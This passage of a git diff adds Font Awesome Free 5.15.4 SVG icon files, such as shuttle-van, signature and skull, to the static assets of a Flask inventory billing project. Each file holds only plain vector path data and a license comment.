xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M304,320a16,16,0,1,0,16,16A16,16,0,0,0,304,320Zm32-96a16,16,0,1,0,16,16A16,16,0,0,0,336,224Zm32,64a16,16,0,1,0-16-16A16,16,0,0,0,368,288Zm-32,32a16,16,0,1,0-16-16A16,16,0,0,0,336,320Zm-32-64a16,16,0,1,0,16,16A16,16,0,0,0,304,256Zm128-32a16,16,0,1,0-16-16A16,16,0,0,0,432,224Zm-48,16a16,16,0,1,0,16-16A16,16,0,0,0,384,240Zm-16-48a16,16,0,1,0,16,16A16,16,0,0,0,368,192Zm96,32a16,16,0,1,0,16,16A16,16,0,0,0,464,224Zm32-32a16,16,0,1,0,16,16A16,16,0,0,0,496,192Zm-64,64a16,16,0,1,0,16,16A16,16,0,0,0,432,256Zm-32,32a16,16,0,1,0,16,16A16,16,0,0,0,400,288Zm-64,64a16,16,0,1,0,16,16A16,16,0,0,0,336,352Zm-32,32a16,16,0,1,0,16,16A16,16,0,0,0,304,384Zm64-64a16,16,0,1,0,16,16A16,16,0,0,0,368,320Zm21.65-218.35-11.3-11.31a16,16,0,0,0-22.63,0L350.05,96A111.19,111.19,0,0,0,272,64c-19.24,0-37.08,5.3-52.9,13.85l-10-10A121.72,121.72,0,0,0,123.44,32C55.49,31.5,0,92.91,0,160.85V464a16,16,0,0,0,16,16H48a16,16,0,0,0,16-16V158.4c0-30.15,21-58.2,51-61.93a58.38,58.38,0,0,1,48.93,16.67l10,10C165.3,138.92,160,156.76,160,176a111.23,111.23,0,0,0,32,78.05l-5.66,5.67a16,16,0,0,0,0,22.62l11.3,11.31a16,16,0,0,0,22.63,0L389.65,124.28A16,16,0,0,0,389.65,101.65Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/shuttle-van.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/shuttle-van.svg new file mode 100644 index 00000000..efd44b0c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/shuttle-van.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M628.88 210.65L494.39 49.27A48.01 48.01 0 0 0 457.52 32H32C14.33 32 0 46.33 0 64v288c0 17.67 14.33 32 32 32h32c0 53.02 42.98 96 96 96s96-42.98 96-96h128c0 53.02 42.98 96 96 96s96-42.98 96-96h32c17.67 0 32-14.33 32-32V241.38c0-11.23-3.94-22.1-11.12-30.73zM64 192V96h96v96H64zm96 240c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm160-240h-96V96h96v96zm160 240c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm-96-240V96h66.02l80 96H384z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sign-in-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sign-in-alt.svg new file mode 100644 index 00000000..682ea1c8 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sign-in-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M416 448h-84c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h84c17.7 0 32-14.3 32-32V160c0-17.7-14.3-32-32-32h-84c-6.6 0-12-5.4-12-12V76c0-6.6 5.4-12 12-12h84c53 0 96 43 96 96v192c0 53-43 96-96 96zm-47-201L201 79c-15-15-41-4.5-41 17v96H24c-13.3 0-24 10.7-24 24v96c0 13.3 10.7 24 24 24h136v96c0 21.5 26 32 41 17l168-168c9.3-9.4 9.3-24.6 0-34z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sign-language.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sign-language.svg new file mode 100644 index 00000000..96737951 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sign-language.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M91.434 483.987c-.307-16.018 13.109-29.129 29.13-29.129h62.293v-5.714H56.993c-16.021 0-29.437-13.111-29.13-29.129C28.16 404.491 40.835 392 56.428 392h126.429v-5.714H29.136c-16.021 0-29.437-13.111-29.13-29.129.297-15.522 12.973-28.013 28.566-28.013h154.286v-5.714H57.707c-16.021 0-29.437-13.111-29.13-29.129.297-15.522 12.973-28.013 28.566-28.013h168.566l-31.085-22.606c-12.762-9.281-15.583-27.149-6.302-39.912 9.281-12.761 27.15-15.582 39.912-6.302l123.361 89.715a34.287 34.287 0 0 1 14.12 27.728v141.136c0 15.91-10.946 29.73-26.433 33.374l-80.471 18.934a137.16 137.16 0 0 1-31.411 3.646H120c-15.593-.001-28.269-12.492-28.566-28.014zm73.249-225.701h36.423l-11.187-8.136c-18.579-13.511-20.313-40.887-3.17-56.536l-13.004-16.7c-9.843-12.641-28.43-15.171-40.88-5.088-12.065 9.771-14.133 27.447-4.553 39.75l36.371 46.71zm283.298-2.103l-5.003-152.452c-.518-15.771-13.722-28.136-29.493-27.619-15.773.518-28.137 13.722-27.619 29.493l1.262 38.415L283.565 11.019c-9.58-12.303-27.223-14.63-39.653-5.328-12.827 9.599-14.929 28.24-5.086 40.881l76.889 98.745-4.509 3.511-94.79-121.734c-9.58-12.303-27.223-14.63-39.653-5.328-12.827 9.599-14.929 28.24-5.086 40.881l94.443 121.288-4.509 3.511-77.675-99.754c-9.58-12.303-27.223-14.63-39.653-5.328-12.827 9.599-14.929 28.24-5.086 40.881l52.053 66.849c12.497-8.257 29.055-8.285 41.69.904l123.36 89.714c10.904 7.93 17.415 20.715 17.415 34.198v16.999l61.064-47.549a34.285 34.285 0 0 0 13.202-28.177z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sign-out-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sign-out-alt.svg new file mode 100644 index 00000000..591f2754 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sign-out-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M497 273L329 441c-15 15-41 4.5-41-17v-96H152c-13.3 0-24-10.7-24-24v-96c0-13.3 10.7-24 24-24h136V88c0-21.4 25.9-32 41-17l168 168c9.3 9.4 9.3 24.6 0 34zM192 436v-40c0-6.6-5.4-12-12-12H96c-17.7 0-32-14.3-32-32V160c0-17.7 14.3-32 32-32h84c6.6 0 12-5.4 12-12V76c0-6.6-5.4-12-12-12H96c-53 0-96 43-96 96v192c0 53 43 96 96 96h84c6.6 0 12-5.4 12-12z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sign.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sign.svg new file mode 100644 index 00000000..4409cca8 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sign.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M496 64H128V16c0-8.8-7.2-16-16-16H80c-8.8 0-16 7.2-16 16v48H16C7.2 64 0 71.2 0 80v32c0 8.8 7.2 16 16 16h48v368c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V128h368c8.8 0 16-7.2 16-16V80c0-8.8-7.2-16-16-16zM160 384h320V160H160v224z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/signal.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/signal.svg new file mode 100644 index 00000000..055b523b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/signal.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M216 288h-48c-8.84 0-16 7.16-16 16v192c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V304c0-8.84-7.16-16-16-16zM88 384H40c-8.84 0-16 7.16-16 16v96c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16v-96c0-8.84-7.16-16-16-16zm256-192h-48c-8.84 0-16 7.16-16 16v288c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V208c0-8.84-7.16-16-16-16zm128-96h-48c-8.84 0-16 7.16-16 16v384c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V112c0-8.84-7.16-16-16-16zM600 0h-48c-8.84 0-16 7.16-16 16v480c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V16c0-8.84-7.16-16-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/signature.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/signature.svg new file mode 100644 index 00000000..c83bcdc7 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/signature.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M623.2 192c-51.8 3.5-125.7 54.7-163.1 71.5-29.1 13.1-54.2 24.4-76.1 24.4-22.6 0-26-16.2-21.3-51.9 1.1-8 11.7-79.2-42.7-76.1-25.1 1.5-64.3 24.8-169.5 126L192 182.2c30.4-75.9-53.2-151.5-129.7-102.8L7.4 116.3C0 121-2.2 130.9 2.5 138.4l17.2 27c4.7 7.5 14.6 9.7 22.1 4.9l58-38.9c18.4-11.7 40.7 7.2 32.7 27.1L34.3 404.1C27.5 421 37 448 64 448c8.3 0 16.5-3.2 22.6-9.4 42.2-42.2 154.7-150.7 211.2-195.8-2.2 28.5-2.1 58.9 20.6 83.8 15.3 16.8 37.3 25.3 65.5 25.3 35.6 0 68-14.6 102.3-30 33-14.8 99-62.6 138.4-65.8 8.5-.7 15.2-7.3 15.2-15.8v-32.1c.2-9.1-7.5-16.8-16.6-16.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sim-card.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sim-card.svg new file mode 100644 index 00000000..8f6d7cc1 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sim-card.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 64v384c0 35.3 28.7 64 64 64h256c35.3 0 64-28.7 64-64V128L256 0H64C28.7 0 0 28.7 0 64zm224 192h-64v-64h64v64zm96 0h-64v-64h32c17.7 0 32 14.3 32 32v32zm-64 128h64v32c0 17.7-14.3 32-32 32h-32v-64zm-96 0h64v64h-64v-64zm-96 0h64v64H96c-17.7 0-32-14.3-32-32v-32zm0-96h256v64H64v-64zm0-64c0-17.7 14.3-32 32-32h32v64H64v-32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sink.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sink.svg new file mode 100644 index 00000000..d0532203 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sink.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M32,416a96,96,0,0,0,96,96H384a96,96,0,0,0,96-96V384H32ZM496,288H400V256h64a16,16,0,0,0,16-16V224a16,16,0,0,0-16-16H384a32,32,0,0,0-32,32v48H288V96a32,32,0,0,1,64,0v16a16,16,0,0,0,16,16h32a16,16,0,0,0,16-16V96A96.16,96.16,0,0,0,300.87,1.86C255.29,10.71,224,53.36,224,99.79V288H160V240a32,32,0,0,0-32-32H48a16,16,0,0,0-16,16v16a16,16,0,0,0,16,16h64v32H16A16,16,0,0,0,0,304v32a16,16,0,0,0,16,16H496a16,16,0,0,0,16-16V304A16,16,0,0,0,496,288Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sitemap.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sitemap.svg new file mode 100644 index 00000000..213e9781 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sitemap.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M128 352H32c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32zm-24-80h192v48h48v-48h192v48h48v-57.59c0-21.17-17.23-38.41-38.41-38.41H344v-64h40c17.67 0 32-14.33 32-32V32c0-17.67-14.33-32-32-32H256c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h40v64H94.41C73.23 224 56 241.23 56 262.41V320h48v-48zm264 80h-96c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32zm240 0h-96c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/skating.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/skating.svg new file mode 100644 index 00000000..1626ae60 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/skating.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 0c-26.5 0-48 21.5-48 48s21.5 48 48 48 48-21.5 48-48-21.5-48-48-48zm0 448c-8.8 0-16 7.2-16 16s-7.2 16-16 16h-96c-8.8 0-16 7.2-16 16s7.2 16 16 16h96c26.5 0 48-21.5 48-48 0-8.8-7.2-16-16-16zm-282.2 8.6c-6.2 6.2-16.4 6.3-22.6 0l-67.9-67.9c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6l67.9 67.9c9.4 9.4 21.7 14 34 14s24.6-4.7 33.9-14c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.3-22.7 0zm56.1-179.8l-93.7 93.7c-12.5 12.5-12.5 32.8 0 45.2 6.2 6.2 14.4 9.4 22.6 9.4s16.4-3.1 22.6-9.4l91.9-91.9-30.2-30.2c-5-5-9.4-10.7-13.2-16.8zM128 160h105.5l-20.1 17.2c-13.5 11.5-21.6 28.4-22.3 46.1-.7 17.8 6.1 35.2 18.7 47.7l78.2 78.2V432c0 17.7 14.3 32 32 32s32-14.3 32-32v-89.4c0-12.6-5.1-25-14.1-33.9l-61-61c.5-.4 1.2-.6 1.7-1.1l82.3-82.3c11.5-11.5 14.9-28.6 8.7-43.6-6.2-15-20.7-24.7-37-24.7H128c-17.7 0-32 14.3-32 32s14.3 32 32 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/skiing-nordic.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/skiing-nordic.svg new file mode 100644 index 00000000..780d5e34 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/skiing-nordic.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M336 96c26.5 0 48-21.5 48-48S362.5 0 336 0s-48 21.5-48 48 21.5 48 48 48zm216 320c-13.2 0-24 10.7-24 24 0 13.2-10.8 24-24 24h-69.5L460 285.6c11.7-4.7 20.1-16.2 20.1-29.6 0-17.7-14.3-32-32-32h-44L378 170.8c-12.5-25.5-35.5-44.2-61.8-50.9L245 98.7c-28.3-6.8-57.8-.5-80.8 17.1l-39.7 30.4c-14 10.7-16.7 30.8-5.9 44.9.7.9 1.7 1.3 2.4 2.1L66.9 464H24c-13.2 0-24 10.7-24 24s10.8 24 24 24h480c39.7 0 72-32.3 72-72 0-13.2-10.8-24-24-24zm-260.5 48h-96.9l43.1-91-22-13c-12.1-7.2-21.9-16.9-29.5-27.8L123.7 464H99.5l52.3-261.4c4.1-1 8.1-2.9 11.7-5.6l39.7-30.4c7.7-5.9 17.4-8 25.3-6.1l14.7 4.4-37.5 87.4c-12.6 29.5-1.3 64 26.3 80.3l85 50.2-25.5 81.2zm110.6 0h-43.6l23.6-75.5c5.9-20.8-2.9-43.1-21.6-54.4L299.3 298l31.3-78.3 20.3 41.4c8 16.3 24.9 26.9 43.1 26.9h33.3l-25.2 176z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/skiing.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/skiing.svg new file mode 100644 index 00000000..682bd969 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/skiing.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M432 96c26.5 0 48-21.5 48-48S458.5 0 432 0s-48 21.5-48 48 21.5 48 48 48zm73 356.1c-9.4-9.4-24.6-9.4-33.9 0-12.1 12.1-30.5 15.4-45.1 8.7l-135.8-70.2 49.2-73.8c12.7-19 10.2-44.5-6-60.6L293 215.7l-107-53.1c-2.9 19.9 3.4 40 17.7 54.4l75.1 75.2-45.9 68.8L35 258.7c-11.7-6-26.2-1.5-32.3 10.3-6.1 11.8-1.5 26.3 10.3 32.3l391.9 202.5c11.9 5.5 24.5 8.1 37.1 8.1 23.2 0 46-9 63-26 9.3-9.3 9.3-24.5 0-33.8zM120 91.6l-11.5 22.5c14.4 7.3 31.2 4.9 42.8-4.8l47.2 23.4c-.1.1-.1.2-.2.3l114.5 56.8 32.4-13 6.4 19.1c4 12.1 12.6 22 24 27.7l58.1 29c15.9 7.9 35 1.5 42.9-14.3 7.9-15.8 1.5-35-14.3-42.9l-52.1-26.1-17.1-51.2c-8.1-24.2-40.9-56.6-84.5-39.2l-81.2 32.5-62.5-31c.3-14.5-7.2-28.6-20.9-35.6l-11.1 21.7h-.2l-34.4-7c-1.8-.4-3.7.2-5 1.7-1.9 2.2-1.7 5.5.5 7.4l26.2 23z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/skull-crossbones.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/skull-crossbones.svg new file mode 100644 index 00000000..687c0f34 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/skull-crossbones.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M439.15 453.06L297.17 384l141.99-69.06c7.9-3.95 11.11-13.56 7.15-21.46L432 264.85c-3.95-7.9-13.56-11.11-21.47-7.16L224 348.41 37.47 257.69c-7.9-3.95-17.51-.75-21.47 7.16L1.69 293.48c-3.95 7.9-.75 17.51 7.15 21.46L150.83 384 8.85 453.06c-7.9 3.95-11.11 13.56-7.15 21.47l14.31 28.63c3.95 7.9 13.56 11.11 21.47 7.15L224 419.59l186.53 90.72c7.9 3.95 17.51.75 21.47-7.15l14.31-28.63c3.95-7.91.74-17.52-7.16-21.47zM150 237.28l-5.48 25.87c-2.67 12.62 5.42 24.85 16.45 24.85h126.08c11.03 0 19.12-12.23 16.45-24.85l-5.5-25.87c41.78-22.41 70-62.75 70-109.28C368 57.31 303.53 0 224 0S80 57.31 80 128c0 46.53 28.22 86.87 70 109.28zM280 112c17.65 0 32 14.35 32 32s-14.35 32-32 32-32-14.35-32-32 14.35-32 32-32zm-112 0c17.65 0 32 14.35 32 32s-14.35 32-32 32-32-14.35-32-32 14.35-32 32-32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/skull.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/skull.svg new file mode 100644 index 00000000..261a9ead --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/skull.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 0C114.6 0 0 100.3 0 224c0 70.1 36.9 132.6 94.5 173.7 9.6 6.9 15.2 18.1 13.5 29.9l-9.4 66.2c-1.4 9.6 6 18.2 15.7 18.2H192v-56c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v56h64v-56c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v56h77.7c9.7 0 17.1-8.6 15.7-18.2l-9.4-66.2c-1.7-11.7 3.8-23 13.5-29.9C475.1 356.6 512 294.1 512 224 512 100.3 397.4 0 256 0zm-96 320c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64zm192 0c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/slash.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/slash.svg new file mode 100644 index 00000000..88eaba47 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/slash.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M594.53 508.63L6.18 53.9c-6.97-5.42-8.23-15.47-2.81-22.45L23.01 6.18C28.43-.8 38.49-2.06 45.47 3.37L633.82 458.1c6.97 5.42 8.23 15.47 2.81 22.45l-19.64 25.27c-5.42 6.98-15.48 8.23-22.46 2.81z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sleigh.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sleigh.svg new file mode 100644 index 00000000..91bc7d18 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sleigh.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M612.7 350.7l-9.3-7.4c-6.9-5.5-17-4.4-22.5 2.5l-10 12.5c-5.5 6.9-4.4 17 2.5 22.5l9.3 7.4c5.9 4.7 9.2 11.7 9.2 19.2 0 13.6-11 24.6-24.6 24.6H48c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h516c39 0 73.7-29.3 75.9-68.3 1.4-23.8-8.7-46.3-27.2-61zM32 224c0 59.6 40.9 109.2 96 123.5V400h64v-48h192v48h64v-48c53 0 96-43 96-96v-96c17.7 0 32-14.3 32-32s-14.3-32-32-32h-96v64c0 35.3-28.7 64-64 64h-20.7c-65.8 0-125.9-37.2-155.3-96-29.4-58.8-89.6-96-155.3-96H32C14.3 32 0 46.3 0 64s14.3 32 32 32v128z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sliders-h.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sliders-h.svg new file mode 100644 index 00000000..978b5d33 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sliders-h.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M496 384H160v-16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v16H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h80v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16h336c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm0-160h-80v-16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v16H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h336v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16h80c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm0-160H288V48c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v16H16C7.2 64 0 71.2 0 80v32c0 8.8 7.2 16 16 16h208v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16h208c8.8 0 16-7.2 16-16V80c0-8.8-7.2-16-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/smile-beam.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/smile-beam.svg new file mode 100644 index 00000000..5e8ccedf --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/smile-beam.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM112 223.4c3.3-42.1 